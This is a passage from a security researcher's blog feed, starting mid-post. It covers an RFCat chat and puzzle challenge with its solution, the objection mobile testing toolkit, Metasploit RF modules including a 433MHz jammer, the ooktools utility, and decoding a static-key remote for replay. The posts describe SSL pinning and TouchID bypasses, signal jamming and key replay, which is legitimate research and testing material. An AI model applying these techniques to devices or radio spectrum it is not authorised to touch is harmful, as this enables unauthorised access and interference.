for new messages...\u0026#39;) while not rflib.keystop(): try: pkt, _ = d.RFrecv(timeout=1000) decoded_pkt = binascii.unhexlify(pkt) print(decoded_pkt) except (rflib.ChipconUsbTimeoutException, TypeError): pass transitioning to a working chat system The next challenge was to translate this into something that could be used as a chat client. I would like to start a script, and have the script accept input to send using RFCat. The chat client must be able to send and receive from the same script, using a single cc1111. A key thing to remember is that the cc1111 only works in half-duplex mode. That means that you can either be transmitting or receiving, not both at the same time. Before building something, I considered that the chat client would have a few interesting problems to solve:\n As we know, a client can\u0026rsquo;t send and receive at the same time so the default should be to always be in a receiving mode and only change when something should be sent. It is possible for frames to go missing or be incomplete so a retransmission strategy should be implemented. Anyone that uses the same frequency, syncword and modulation would be able to \u0026lsquo;tune\u0026rsquo; into the chat, so no privacy should be expected :P  With these challenges in mind, the first thing I tried to solve was the fact that the radios were half-duplex and required a way to change state when messages were to be sent. After some testing, I settled on having a singleton class instance that would be shared between two threads. One thread responsible for sending data and another responsible for receiving, both monitoring the state of the radio. The state class (aptly called RadioState) would have a state property indicating the radios current state which could either be \u0026ldquo;send\u0026rdquo; or \u0026ldquo;receive\u0026rdquo;. From a threading perspective, the logic flowed something like this:\n Both threads would have an infinite loop checking the current state of the radio. Both threads would only continue with their respective logic (send/receive) if the radio was in the state required for that specific thread. The receiving thread would basically have a blocking call to RFrecv() that would wait for 1 second for a frame. Once the timeout is reached (or a valid frame is received) a check is done using the RadioState class to see if a state change is required. If a state change is required, change the actual state and return to the start of the infinite loop within the thread. The sending thread should now detect that the state has changed and proceed to transmit frames. Once done, return the state to \u0026ldquo;receive\u0026rdquo; causing the listening thread to resume frame captures. Rinse and repeat.  Implementing this was relatively easy given the time I spent considering ways to handle the half-duplex problem. In the end, an abstract of the chat client logic based on the class methods was as follows:\nclass RadioState(object): def __init__(self) def get_state(self) def set_receive_state(self) def is_receive_state(self) def set_send_state(self) def is_send_state(self) def want_state_change(self) def change_state_to(self, new_state) def change_state(self) def set_message_to_send(self, message_data) def get_message_to_send(self) class ListenThread(threading.Thread): def __init__(self, radio_state, *args, **kwargs) def run(self) def should_stop(self) def listen_for_packet(self) def check_for_state_change(self) class SendThread(threading.Thread): def __init__(self, radio_state, *args, **kwargs) def run(self) def should_stop(self) def reverse_state_to_receive(self) if __name__ == \u0026#39;__main__\u0026#39;: state = RadioState() # prep and start 2 threads. one to listen, and one to send listen_thread = ListenThread(radio_state=state) send_thread = SendThread(radio_state=state) listen_thread.start() send_thread.start() while True: message = raw_input(\u0026#39;[{}] message\u0026gt; \u0026#39;.format(handle)) message = message.strip() # queue a new message send! state.set_message_to_send(message_data=message) # stop the threads listen_thread.stop = True send_thread.stop = True With the basic logic in place and working, I realised while testing that I would be sending messages (by simply typing them and hitting ENTER) much faster than the send, state-change, receive, state-change, send logic could complete. On top of that, the problem where messages would not necessarily reach the other end (or be incomplete) occurred much more than I had initially expected. So, a few more tweaks were needed.\nimproving the chat experience The fact that I was sending messages too fast for the client to process was something not too hard to solve. My original implementation could only set one message that should be sent, so to improve this, I changed the logic a little to instead populate a \u0026ldquo;message queue\u0026rdquo; (basically a python list) in the RadioState class. Now, when messages are being sent, they would be popped off the queue one after the other until the queue was empty. Only then would the state change back to receive be issued. What was nice about this change was that I could pop on more message into the queue as the sending thread was processing messages, only popping off the last one that was just sent. Great!\ndef queue_new_message(self, message_data): parts = [message_data[i:i + 50] \\ for i in range(0, len(message_data), 50)] for part in parts: self.message_queue.append( binascii.hexlify(self.name + \u0026#39;: \u0026#39; + part) \\ .ljust(MAX_PACKET_LEN, \u0026#39;0\u0026#39;)) def get_messages_from_queue(self): message_count = len(self.message_queue) if message_count \u0026gt; 0: return [self.message_queue.pop(0) for _ in xrange(message_count)] return None This considerably improved the overall experience of the chat client. Messages would now flow a lot more fluently and be sent as expected. However, there was still one big issue. Message frames would not reliably end up on the other end. Blame interference, magic or someones mood on the other side of the globe, it was a problem that had to be dealt with.\nTo tackle the transmission reliability problem and given that I was playing against a bit of time, I decided to simply add some retransmission logic to the client. A simple loop to send the same frame three times seemed to drastically improve things. On top of that, I also noticed that the makePktFLEN() method could be used to specify the expected amount of bytes in a frame allowing the receiving end to be more clever about the frames it would receive. Tweaking the packet length number landed me on a scientifically and statistically proven™ number of 150 that was the sweet spot to reliably send / receive frames (not really I sucked the number out of my thumb). If you looked closely at the last code snippet, you may have noticed that I ended up actually padding hex encoded data frames with 0\u0026rsquo;s up to the size of MAX_PACKET_LEN which is the 150 I just mentioned.\nSo, two new bits of logic was added. The frame retransmission in the sending thread and a simple duplication check in the receiving thread (as there may be 3 duplicate frames ending up in chat clients). The gist of these changes were implemented as follows:\n# receiving thread def listen_for_packet(self): try: pkt, _ = d.RFrecv(timeout=1000) decoded_pkt = binascii.unhexlify(pkt).strip() # skip if we have already received this message if decoded_pkt in self.received_messages: return # print the message we got! print(\u0026#39;{}\u0026#39;.format(decoded_pkt)) except (rflib.ChipconUsbTimeoutException, TypeError): pass # sending thread def run(self): while True: # get the pending messages to send messages_to_send = self.state.get_messages_from_queue() # send the messages for message_data in messages_to_send: for _ in range(3): d.RFxmit(data=message_data, repeat=1) # change back to the receiving state self.reverse_state_to_receive() These optimisations greatly improved the overall speed and reliability of the chat clients. Although not perfect, it was good enough for now. An example run of the chat client can be seen here:\nWriting this was a lot of fun, but now it was time to take a look at the challenge server it self.\nthe challenge server For the challenge server I was going to use the same \u0026ldquo;transport\u0026rdquo; that was just built for the chat clients. The difference though was that the modulation and sync word was different for it, so you have to figure that out. The challenge server would broadcast messages every 30 seconds that would both serve as a hint as well as help those searching for signal to find it. If you did not have kit for sniffing, some clues were also tweeted to get you going. Anyways, the challenge server was in fact just a modified chat client that would respond to specific messages. Changing the syncword, baud rate and modulation would have \u0026ldquo;connected\u0026rdquo; you to the challenge server network.\nGiven that there was more than one puzzle to solve on the challenge server network, I needed to write a little bit of game logic to keep track of who was at what stage of the game, as well as to know what the next hint/step should be. I have never done something like this, so practically everything I tried felt dirty or just failed.\nUltimately, I ended up with two new classes for the game. One for controlling and remembering the state of players that have connected and or interacted with the game server, and another for the actual game logic. The player state class called ChallengePlayers had a thread that would periodically serialise and save the object to disk in case the challenge server crashed and needed to be restored. The game logic itself was part of the GameLogic class. Messages received in the listening thread would be parsed and sent off to a new instance of GameLogic, whereby the return of the process_move() method would be used to update the current progress of the player.\nWell, \u0026ldquo;How were players identified?\u0026rdquo;, you may ask. Honestly, by whatever identifier they wanted to use. The original idea was to have the badges provide their WIFI MAC addresses to be used for identification, but time never really allowed for that. So it resulted in the player identification (and obvious spoofing capability) being player controlled. No biggie.\nFrom a challenge server perspective though, messages (aka: decoded frames) that were sent were parsed as follows:\n Hex decode a frame and validate that it is in fact a valid frame. With the decoded string value, attempt to split the string by :\u0026rsquo;s so that the user identifier is stripped and the rest of the message is separate. Yes, if your \u0026lsquo;name\u0026rsquo; had a : you would break it. The user identifier from the previous method was used to determine the current state of the player, as well as have a timestamp with the last time a valid command was sent to the challenge server. The players current state as well as message payload parsed in a previous step is then sent to a new instance of the GameLogic.process_move() method for further processing. Depending on the return value of process_move(), update the player\u0026rsquo;s state and send any responses if needed.  A sample of what process_move() looked like within the GameLogic class:\ndef process_move(self): # first, newly connected players simply get a entry # in the games state. They should not have an existing # state and therefore are just recorded. if not self.player_state: return self._new_player_connected() if \u0026#39;status\u0026#39; in self.message.lower(): return self._get_player_status() if any(x in self.message.lower() for x in [\u0026#39;88 miles an hour\u0026#39;, \u0026#39;eighty-eight miles an hour\u0026#39;]): return self._update_stage_one() if \u0026#39;unlock\u0026#39; in self.message.lower(): return self._update_stage_two() # if we had no idea what to do, default to nothing print(\u0026#39;GameLogic can\\\u0026#39;t do anything with this message: {0}\u0026#39;.format(self.message)) return False, None, None The only part that was missing from my perspective now was to add the necessary code to finally unlock the challenge box once you have trigged the unlock method within the GameLogic class.\nprogressing through the challenge So assuming you managed to connect to the challenge server, progressing through the challenge to finally unlock the challenge box would have flowed as follows:\n Connect to the challenge server after modifying the provided chat clients RFCat configuration parameters such as the syncword, buad rate and modulation. Once connected, a message would be sent which looked like this: \u0026quot;Welcome \u0026lt;your user_name\u0026gt;! The temporal displacement occurred at exactly 1:20 AM and zero seconds! I just cant remember how fast we went...\u0026quot;. Solving the riddle in the broadcasted hint meant that you had to send the words \u0026ldquo;88 miles an hour\u0026rdquo; or \u0026ldquo;eighty-eight miles an hour\u0026rdquo;. This would have progressed you to stage 2. The challenge server would periodically broadcast a hint for the next stage, which would have showed up as follows: \u0026quot;hint:LwlVBRFIQwscAQFOAAYCCwkDG1cPSE8dEwYGRRcaTREGGhpPAggLBA1PDwESSVQLSAUHAwACUwAbTggCGBYBEgcQUjIEVRxJLgQeEgoGGg4eQFlIEk8fBwccAAkACg0aUx4AHApC\u0026quot;. The fact that the hint starts with\u0026hellip; 'hint' should have been a\u0026hellip; hint ;) Attempting to base64 decode the string should result in unreadable gook being spewed out. A hint as to the fact that it may be encrypted was supposed to be shared, so during the challenge a simple XOR function was tweeted which revealed the method as well as the key used. The key was \u0026quot;fourth dimensionally!\u0026quot;. Downloading the sample XOR code, a small modification was needed to decrypt the hint, which was as simple as modifying the decrypt method to take the argument passed onto the command line as the string to decrypt. Successful decryption should have given you the string: \u0026quot;If we could somehow... harness this lightning; channel it into the Flux Capacitor, it just might work.\u0026quot;. This string was yet another riddle, but also required another hint to understand the format the challenge server was expecting. Unfortunately, I am unsure how this was shared at the con, but the hint should have revealed that the final payload needed to be in the format of unlock:\u0026lt;xor'd \u0026amp; base64encoded string \u0026quot;\u0026lt;your_user\u0026gt;:1.21 gigawatts\u0026quot;\u0026gt;. So in other words, unlock:ExwQAEVSEUpbXEUJGg4OGQAYGAo= if your username was user1. Sending this final payload would have moved you to the final stage, and finally unlock the the challenge box! A confirmation message would have been sent such as: \u0026ldquo;user1 has progressed to stage 2. The box should unlock!\u0026rdquo;  Solving the challenge itself, from both a client and the servers perspective would have looked something like this:\n20/20 hindsight I learned a lot while building this. Not just technically but also time management and all of those little \u0026ldquo;soft skills\u0026rdquo; needed to pull something like this off. If I had to do this again, I would probably try and make the actual challenges a little smoother (and maybe make more sense). I would also freaking google my idea first, so that I don\u0026rsquo;t come across similar ideas that have already be implemented! Finally, I would have loved to spend more time on improving the communications protocol used by the chat clients to make it faster and more reliable.\nthe code If you want to play with the code, its all available in a simple Github gist here: https://gist.github.com/leonjza/341b850f131e7078508ce2cb7ec23cdc.\nHave fun!\n","permalink":"https://leonjza.github.io/blog/2017/12/13/building-the-bsidescpt17-rf-challenge/","summary":"\u003cp\u003eIn this post I want to talk a little about the BSides Cape Town 2017 RFCat challenge and how I went about trying to build a challenge for it. Unfortunately I was not able to able to attend the conference itself, but still had the privilege to contribute in some way!\u003c/p\u003e","title":"building the bsidescpt17 rf challenge"},{"content":"  In this post, I want to introduce you to a toolkit that I have been working on, called objection. The name being a play on the words \u0026ldquo;object\u0026rdquo; and \u0026ldquo;injection\u0026rdquo;. objection is a runtime exploration toolkit powered by Frida, aimed at mobile platforms. objection aims to allow you to perform various security related tasks on unencrypted iOS applications, at runtime, on non-jailbroken iOS devices as well as Android applications on Android devices. Features include inspecting the application specific keychain, as well as inspecting various artifacts left on disk during (or after) execution.\nWith jailbreaks for iOS devices becoming increasingly difficult to come by (not to mention the often \u0026lsquo;dodgy\u0026rsquo; utilities out there to perform the exploits that allow you access outside of the iOS jail), the expectation of iOS 11 coming soon and many other operational issues faced when trying to prevent an existing iOS device from updating (and losing the jailbreak), objection will allow you to perform a large portion of the typical mobile security assessment all within the existing constraints of the application sandbox.\nwhy Many times, we as analysts find ourselves in a position where we need to explain the \u0026ldquo;real world relevance\u0026rdquo; of the epic pwnage you had. Often, admitting to the fact that your device was Jailbroken, leaves much to be questioned about how \u0026ldquo;real\u0026rdquo; the attacks you performed are. \u0026ldquo;But if you had root, its technically over anyways, right?\u0026rdquo;. Yes, but that is not the only way.\nClient engagement examples aside, most of the tooling that exists out there rely on the fact that your device is jailbroken (and rightfully so). But what if you simply dont have a Jailbroken device? Well, chances are you only focus on the API endpoints that the application consumes, hoping that the SSL pinning is broken enough for you to get an idea of how it works.\nLets change that.\nexamples Under the hood, objection uses Frida to inject objects into a patched applications runtime and executes them within that applications security context to perform various tasks. Typical tasks may be short lived commands such as ls that will let you browse the mobile devices filesystem from the mobile applications perspective, or longer lived commands such as ios sslpinning disable that hooks common methods that are used to pin SSL certificates, and prevent validations from failing as you use the app.\n  While we are talking about the filesystem, it is also possible to download files straight off the device (where you have read access) as well as have the ability to re-upload files where write access is granted, such as the applications Documents directory.\nobjection also includes an inline SQLite editor to make manipulating random sqlite databases that might exist a breeze.\n  Connecting to and querying an arbitrary SQLite database within an applications Documents directory.\nsample usage A sample session where objection is used to explore various parts of a sample iOS application that is already patched and running is shown below:\nfeatures While still a work in progress, objection already contains a number of features. A few notable ones are:\n Interact with the remote filesystem to move around, upload and download files where ever access is granted. Dump the current processes memory, explore loaded modules and module exports. Interact with SQLite databases on the remote filesystem. Dump various bits of shared storages such as NSUserDefaults, NSHTTPCookieStorage and .plist files on an iOS devices disk in a human readable format. Simulate a jailbroken environment to test an iOS applications behaviour in such an environment. An iOS SSL pinning bypass module that implements the widely known SSL-Killswitch2 methods. Dump the iOS keychain. Perform iOS TouchID bypasses. Perform a type of class-dump that will list the available Objective-C classes and class methods. Dynamically hook and watch for method invocations of a specific class method. Additionally, objection can try and dump method arguments passed as they are invoked.  \u0026hellip; and much more.\nget it You can get objection right now over at https://github.com/sensepost/objection. Some setup work is needed, as well as a patching process for the IPA you are interested in. Fear not, all of that stuff is documented on the projects wiki that can be found here: https://github.com/sensepost/objection/wiki.\n","permalink":"https://leonjza.github.io/blog/2017/07/11/objection-runtime-mobile-exploration/","summary":"\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/images/objection/objection.png\"/\u003e \n\u003c/figure\u003e\n\n\u003cp\u003eIn this post, I want to introduce you to a toolkit that I have been working on, called \u003ca href=\"https://github.com/sensepost/objection\"\u003eobjection\u003c/a\u003e. The name being a play on the words \u0026ldquo;object\u0026rdquo; and \u0026ldquo;injection\u0026rdquo;. objection is a runtime exploration toolkit powered by Frida, aimed at mobile platforms. objection aims to allow you to perform various security related tasks on unencrypted iOS applications, at runtime, on non-jailbroken iOS devices as well as Android applications on Android devices. Features include inspecting the application specific keychain, as well as inspecting various artifacts left on disk during (or after) execution.\u003c/p\u003e","title":"objection - runtime mobile exploration"},{"content":"Towards the end of last year, I found myself playing around with some basic AM/OOK SDR stuff™. That resulted in ooktools being built to help with making some of that work easier and to help me learn. A few days ago, metasploit announced new \u0026lsquo;rftransceiver\u0026rsquo; capabilities that were added to the framework with a similar goal of making this research easier.\n  This post is about me playing with these new toys, and as well as releasing a few small modules I wrote.\nhow things fit together First things first. I had to try and understand how this new stuff actually works. From the blog post, it is possible to see that the additions allow you to communicate with a RFCat capable device from metasploit and run modules over a session. A session is started by connecting to a small Json API (with a python helper) that bridges HTTP requests to rflib methods. All of this stuff is still pretty new/experimental. In fact, not everything seems to be working 100%, yet. Regardless, I set out to port some of the signaling features I have in ooktools to pure metasploit modules.\nBasically, the setup is:\nmetasploit HWBride Module ---\u0026gt; HTTP API from rfcat_msfrelay ---\u0026gt; rflib methods (and dongle) the testing setup For testing the new goodies, I have a yardstickone (which comes with the rfcat firmware out the box). The updated modules were not part of metasploit bundled with Kali yet, so I quickly built a docker container with the latest metasploit cloned and setup in it. To get the api bridge I mentioned earlier, I cloned the RFCat repository and ran the rfcat_msfrelay script on my laptop (outside of the docker container) as metasploit and the relay script talk using tcp/ip (duhr). This script will also work outside of the repository on its own if you have already installed the rfcat python module. It must just be able to import rflib. YMMV.\nrfcat_msfrelay To start, the relay needs to be up first. You can give it the --noauth flag to not ask for credentials. Without it, the defaults are msf_relay:rfcat_relaypass (which you can change ofc).\n  The output is not very exciting, but alas, port 8080 opens up and we can connect a session from metasploit. Over time, you should see the HTTP requests metasploit makes to the bridge appear much like a web servers access log.\nconnecting the hwbridge session Next, we connect the HWBridge session from metasploit. If you have ever used metasploit, this will feel very familiar. Just use auxiliary/client/hwbridge/connect, set the IP where the rfcat_relay is running with set RHOST \u0026lt;ip_address\u0026gt; and run the module.\n  Running sessions -l will show you have a new session to your radio. It is possible to interact with the session and send some basic commands. In reality, these are just translated to API calls to the bridge, and the rflib methods called.\n  sending signals “Out of the box” metasploit released two modules that were supposed to allow for transmitting signals and allow for some brute forcing to happen. I tested out the brute forcing module first just to get a feel for how things work.\n  Hah! Brute forcing from metasploit. Never did I think I would see this day. The rfcat_relay output started filling up with the API requests that were made from metasploit to the bride and I could see the signals from the brute force run using gnuradio too.\n  Nice! This was enough to convince me to write some modules! Considering there already was a brute force tool, I chose to port the following remaining features from ooktools; sending an AM/OOK signal, searching for PWM encoded keys and a frequency jamming module.\nsendook module Most of the hard work for this was already done in ooktools and I just had to translate them really. The sending of signals module was the first to be built and works quite flawlessly with my lab light I have at home.\n  My remote sends a long flat line at the start, so I had to set the start padding. If you don\u0026rsquo;t set RAW to true, the module will automatically PWM encode the binary you give it.\nsearchsignal module The next was the signal searcher. This one proved to be a bigger pain as it seems like the receiver code has not really been tested yet both in the relay script as well as in metasploit itself. I made a PR upstream to fix up the bugs I encountered in metasploit itself, and had to implement a new metasploit method call and bridge method to lowball() to allow for some noise to come through when scanning. Nonetheless, the scanning seems to have worked reasonably ok-ish.\n  jamsignal module Lastly, and arguably the easiest module of them all was the signal jammer. All I did here was send crap until the user cancels the module running. With my testing, this makes a valid 433mhz remote on the right frequency (and a little bit off too) useless until the jam is stopped. Obviously range is also a thing.\n  woohoo! I am very excited to see what else these new possibilities will bring to metasploit. If you want to play with the modules, I have them on github here: https://github.com/leonjza/metasploit-modules. I\u0026rsquo;ll probably create a PR to see if these can be added to metasploit itself too later.\nI don\u0026rsquo;t know much ruby, but there is a lot of power in my ^C ^V.\n","permalink":"https://leonjza.github.io/blog/2017/03/24/sending-am-ook-using-metasploit-and-rfstransceiver/","summary":"\u003cp\u003eTowards the end of last year, I found myself \u003ca href=\"https://leonjza.github.io/blog/2016/10/02/reverse-engineering-static-key-remotes-with-gnuradio-and-rfcat/\"\u003eplaying around\u003c/a\u003e with some basic AM/OOK SDR stuff™. That resulted in \u003ca href=\"https://github.com/leonjza/ooktools\"\u003eooktools\u003c/a\u003e being built to help with making some of that work easier and to help me learn. A few days ago, metasploit announced new \u003ca href=\"https://community.rapid7.com/community/metasploit/blog/2017/03/21/metasploits-rf-transceiver-capabilities\"\u003e\u0026lsquo;rftransceiver\u0026rsquo; capabilities\u003c/a\u003e that were added to the framework with a similar goal of making this research easier.\u003c/p\u003e\n\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/images/sendingookmetasploit/metasploit.jpg\"/\u003e \n\u003c/figure\u003e\n\n\u003cp\u003eThis post is about me playing with these new toys, and as well as releasing a few small modules I wrote.\u003c/p\u003e","title":"sending am-ook using metasploit and rfstransceiver"},{"content":"In a previous post, I spoke about a simple static key remote and how to replicate its signal using a small python script and RfCat. As part of the work done there, I set out to write a small tool that should help with some of the tasks involved with this process.\n  Lets take a look at ooktools, how to use it and the internals there of. For those in a rush, the repository can be found here: https://github.com/leonjza/ooktools.\nmajor features Some of the major features in ooktools include:\n Binary string extraction from wave file recordings. Wave file cleanups to remove noise in On-off keying recordings. Graphing capabilities for wave files. General information extraction of wave files. Signal recording and playback using json definition files that can be shared. Plotting of data from the previously mentioned json recordings. Signal searching for On-off keying type data. Sending signals in both binary, complete PWM formatted or hex strings using an RfCat dongle. Gnuradio .grc template file generation.  Of course, as I get to spend more time on this, this list may grow and most of the functionality may actually be tested / perfected in environments outside of my lab. There are many cases where stuff breaks too. Checkout the Known Issues section in the source repository.\ninstallation Installing ooktools should be as simple as pip install ooktools. This should take care of all of the dependencies except for RfCat. For this you can either apt install rfcat in Kali, or install from source from the RfCat repository.\nusage Using ooktools should be as simple as just running it with the required arguments. Based on how you chose to install it you can either use the ooktools command directly, or invoke the module from a cloned repository with python -m ooktools.console:\n$ ooktools --help _ _ _ ___ ___| |_| |_ ___ ___| |___ | . | . | '_| _| . | . | |_ -| |___|___|_,_|_| |___|___|_|___| On-off keying tools for your SD-arrrR https://github.com/leonjza/ooktools Usage: ooktools [OPTIONS] COMMAND [ARGS]... Options: --help Show this message and exit. Commands: gnuradio GNU Radio Commands. signal Signal Commands. wave Wave File Commands. A number of sub commands exist and are categorized according to their main functions. You can get help at any time by supplying the --help argument. The below example shows help for the signal sub command:\n$ ooktools signal --help _ _ _ ___ ___| |_| |_ ___ ___| |___ | . | . | '_| _| . | . | |_ -| |___|___|_,_|_| |___|___|_|___| On-off keying tools for your SD-arrrR https://github.com/leonjza/ooktools Usage: ooktools signal [OPTIONS] COMMAND [ARGS]... Signal Commands. Options: --help Show this message and exit. Commands: play Play frames from a source file. plot Plot frames from a recorded signal. record Record frames to a file. search Search for signals. send Send signals using a RFCat dongle. examples For the rest of the post, I am going to cover some examples to showcase what is possible with ooktools. Like I have previously mentioned, a lot of the functionality and testing was done in my isolated lab environment, and may actually not work at all for you. Keep this in mind! ;)\nwave binary The ooktools wave binary command can be used to attempt to extract the binary string from a wave file recording. Lets take a sample recording where I extracted a single pulse:\n  Spotting the key with your eye may be easy in this case, but its a lot harder with longer waves. Anyways, running ooktools wave binary for this recording should output the binary sequence.\n  wave clean The ooktools wave clean command takes a source wave file and tries to \u0026lsquo;square out\u0026rsquo; the signal, removing any jumps in the waveform.\n  The source and destinations files compared after this command can be seen in this screenshot:\n  wave graph The ooktools wave graph command plots the values read from a wave file source. You can interactively pan and zoom the graph to focus on specific areas as needed.\n  signal search The ooktools signal search commands attempts to find valid on-off keying packets while iterating over a frequency range that is specified. The definition of a valid packet is currently still a little strange though. :|\nTo best show this feature, the following asciinema recording attempts to show the signal search in action while I hold down the button on my remote:\nsignal record The ooktools signal record command allows you to record a number of frames to a file as you press down on a remote repeatedly. This can then be plotted or simply played back at a later stage.\n  signal play The ooktools signal play command allows you to replay frames recorded using ooktools signal record. It literally just plays the frames back.\n  signal plot The ooktools signal plot command allows you to create plots of the frames that were recorded using ooktools signal record. This could be used to very quickly get an idea of the on-off key that may be present on a remote.\n  signal send The ooktools signal send sub command helps with sending signals either as binary codes, full PWM codes or hex strings. Example usage of the binary string method is:\n  The same code as a hex string would be:\n  internals and development I am sure as more time is spent on the toolkit it will evolve and become a little refined. However, if you wish to hack away at it, hopefully the following bit will help in getting you to understand how its put together.\nooktools is build around the excellent python Click cli framework. The applications entry point as defined in setup.py as the cli() method in ooktools.console. This is standard bootstrapping to reach the cli() method. Commands themselves are decorated using the @group.command() decorator and is grouped according to primary function.\nOnce you checked out the console.py source, you may notice that this file only really handles the commands and arguments to other functions that are defined in ooktools.commands. It is also responsible for calling the correct validation methods as defined in ooktools.validators.\nOnce a command is happy with its arguments, the actual work is then in the ooktools.commands.category scripts.\nAs far as dependencies go, at the time of writing ooktools depends on bitstring, click, matplotlib, numpy and peakutils. There is also a requirement for rflib which comes from the RfCat repository.\n","permalink":"https://leonjza.github.io/blog/2016/10/08/ooktools-on-off-keying-tools-for-your-sdr/","summary":"\u003cp\u003eIn a \u003ca href=\"https://leonjza.github.io/blog/2016/10/02/reverse-engineering-static-key-remotes-with-gnuradio-and-rfcat/\"\u003eprevious post\u003c/a\u003e, I spoke about a simple static key remote and how to replicate its signal using a small python script and RfCat. As part of the work done there, I set out to write a small tool that should help with some of the tasks involved with this process.\u003c/p\u003e\n\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/images/ooktools/banner.png\"/\u003e \n\u003c/figure\u003e\n\n\u003cp\u003eLets take a look at \u003ccode\u003eooktools\u003c/code\u003e, how to use it and the internals there of. For those in a rush, the repository can be found here: \u003ca href=\"https://github.com/leonjza/ooktools\"\u003ehttps://github.com/leonjza/ooktools\u003c/a\u003e.\u003c/p\u003e","title":"ooktools: on-off keying tools for your sdr"},{"content":"At defcon24 this year, I impulsively bought myself some new toys. Amongst what I got included a YARD Stick One and a Ubertooth One. I already owned a DVB-T dongle much like this one that I bought at defcon23 the previous year.\nMy interest in Software Defined Radio has long been one of those where I just felt so overwhelmed with the idea for a very long time that I dare not try it. This, together with the fact that its something I totally know nothing about really did make for this bit of research to be pretty daunting at first.\n  Nonetheless, here is my adventure into reverse engineering a plain static key remote and successfully replaying it from my computer.\nthe terminology Where to start? In hindsight, I guess a sane point of departure would have been to first figure out what all of these new acronyms mean. OOK, PWM, AM, FSK etc were all things I have only seen but never actually knew what they meant. I read a whole bunch of blog posts and other RTL-SDR related stuff, thinking I could just dive right in. It was not long before I realized that its pretty important when someone talks about Pulse Width Modulation(PWM) that I actually know that this means!\nSo, as I progressed through the resources I found online, I made a note of looking up the acronyms and what the general idea behind them were. The most important of the acronyms you should know is listed below. You should seriously take some time to look into these in more detail and not just rely on my silly descriptions:\n  AM - Amplitude Modulation\nWhen talking AM, we are referring to the fact that the signal strength (or amplitude) is varied according to the waveform that is being transmitted. This gif shows a comparison between AM and FM (Frequency Modulation) for the same signal. It should be clear that for the same signal, AM increases the amplitude of the waveform, and FM increases the frequency of the waveform\n  PWM - Pulse Width Modulation\nIn addition to AM, in the case of these static key remotes, they make use of PWM. Basically, the duration of a pulse determines the bit that is being send. A long pulse is a zero, and a short pulse is a one.\n  OOK - On-off keying\nOn-off keying is a form of Amplitude-shift keying where a binary value is represented based on the duration of the presence of a carrier signal (or a just a high amplitude signal).\n  the gear Once I had a good idea of what all of this stuff means, it was time to get some gear to play with. I went to a local electronics store to pick up a few things. The most important being a static key remote. I also needed something that will switch on when the remote is pressed. For this, I settled on a small LED light, just to give an indication of life. All in all I must have spent close to R600 (~40USD) for everything. The list of lab toys included:\n 1 x Basic 433Mhz Binary Code Transmitter 1 x 12V Power Supply 1 x Generic, Static Key Receiver 1 x 10W LED Light (wow this thing is bright!) 1 x Enclosure Some wiring etc.  I setup, wired together and tested everything. The LED light was wired up to the normally open contact so that when the remote button is pressed, the light will go on for a brief period of time and then switch off.\n  I paired my remote with a random position of the 12 dip switches on it to the receiver and tested that the light actually goes on under normal conditions. Sweet.\nthe signal capture Capturing the remotes signal turned out to be a little easier than I initially expected. I found plenty of resources online that helped me get familiar with ways to do it. The most common capture method I could see was to use a tool called GXRQ. GQRX allows you to tune into the frequency and make a raw recording of the signal to file. This is probably the fastest way to get the recordings to file. The recorded file can then be opened up in gnuradio or inspectrum. You can do a number of fun things with GQRX, like listening to radio! (I had to enable Hardware AGC in GQRX for this to work) :)\n  Anyways. I got stuck trying to decode the key from the remote using a GQRX recording. No matter how I loaded it into inspectrum or audacity (or even raw parsing attempts at some stage), I just could not make head or tail of what I was looking at. In fact, it all just turned out to be garbage to me. Maybe because I didn\u0026rsquo;t set it to record AM? Who knows. Anyways.\nthe gnuradio reveal Speaking to @elasticninja (thanks for your epic patience dude!), I got tipped off to an absolutely great video by Michael Ossmann in he\u0026rsquo;s Software Defined Radio with HackRF series here. More specifically, lesson 8 deals with on-off keying and was excellent in getting me started with gnuradio.\nThis lesson does a great job of showing you how to find out more details about a specific remote that you are interested in by looking up its hardware specs, test results and any other pieces of information. It then goes on to explain how to get your first flow graph up and running in gnuradio in no time.\npreparing gnuradio Before building gnuradio flow graphs, a little bit of preparation was needed. I was using a Kali Virtual Machine in VMWare for testing and had to install a few extra packages on top of the base installation. While we on the topic of dependencies, I am just going to list everything needed to replicate that which you will find in this post:\napt install gnu-radio rfcat gr-osmosdr audacity If you want audio to work, I had to enable pulseaudio with these commands followed by a reboot:\nsystemctl --user enable pulseaudio \u0026amp;\u0026amp; systemctl --user start pulseaudio With that out of the way, I was ready to replicate that flow graph from the lesson.\nbuilding the flow graph Just like the session explained, I launched gnuradio-companion and built the flow graph the same way:\n Launch GNU radio (and start a new WX GUI Graph). I noticed it defaults to the QT GUI in the options block, so just right-click edit that and flip it over to WX GUI. Add a new osmocom Source block to receive data from your RTL-SDR. If you cant find the block, click on any item on the list on the right and hit ctrl-f to filter. Add a new WX GUI FFT Sink and connect the osmocon Source and new FFT sink by clicking on the output and input of each. Set a higher sample rate of 2000000 in the samp_rate variable by editing the Variable block. Edit the osmocon Source block and set the RF Gain to 0 and the frequency to the one you are hoping to listen in on. In my case this is 4339e5, or 4339200000.  Once this is done, save the flow graph and run it (with your RTL-SDR plugged in) to visualize the signal when you press your remote!\n  Fast forward a bit through the lesson, and we finally get to part where we can visualize the key on the remote as a demodulated waveform with the addition of the second scope sink (around 30mins in). To get a nice and clear picture of the on-off keying, we want to measure the magnitude over time of a sample. This can be done by adding a type converter to the flow graph. The Complex to Mag type converter will do the job just fine. To add this:\n Find the type converter block called Complex to Mag and drag it onto the flow graph. Connect the output from the osmocon Source to the Complex to Mag input. Connect the output of the Complex to Mag converter to the Scope sink input. Change the input expected by the scope sink from complex to float.  With this done, run the graph again. You will need to fiddle a little with the seconds per division and counts per division values to get the visualization just right. Unticking the Autorange box will also greatly help you narrow down the signal. As a last tip, if you experience the graph jumping around too much (from left to right), you can toggle a \u0026lsquo;center\u0026rsquo; by focussing the Trig tab and setting the lines that appear with the level toggles.\n  As you can see in this screenshot, the keying seems to represent the values:\n[short, short, short, long, long, short, short, long, short, short, long, short] Or:\n[1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1] This indeed matches the switch positions on my remote. Yay!\n  storing the recordings Looking at those waveforms is cool and all, but it isn\u0026rsquo;t always practical to keep your finger on a button. Instead, we can record the output to a file for later use. You may choose to record the raw, unprocessed signal from the radio (in cases where you may need to still do some processing on the file maybe?) or save the demodulated waveform. To do this, simply add a new Wave File Sink block after the Complex to Mag block and specify a destination filename.\n  Now, just launch the graph and press down on the remote for a while. When done, stop the 